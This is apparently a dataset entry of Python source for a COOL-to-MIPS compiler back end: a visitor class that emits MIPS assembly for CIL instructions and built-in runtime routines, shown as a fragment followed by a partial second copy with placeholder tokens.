self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n 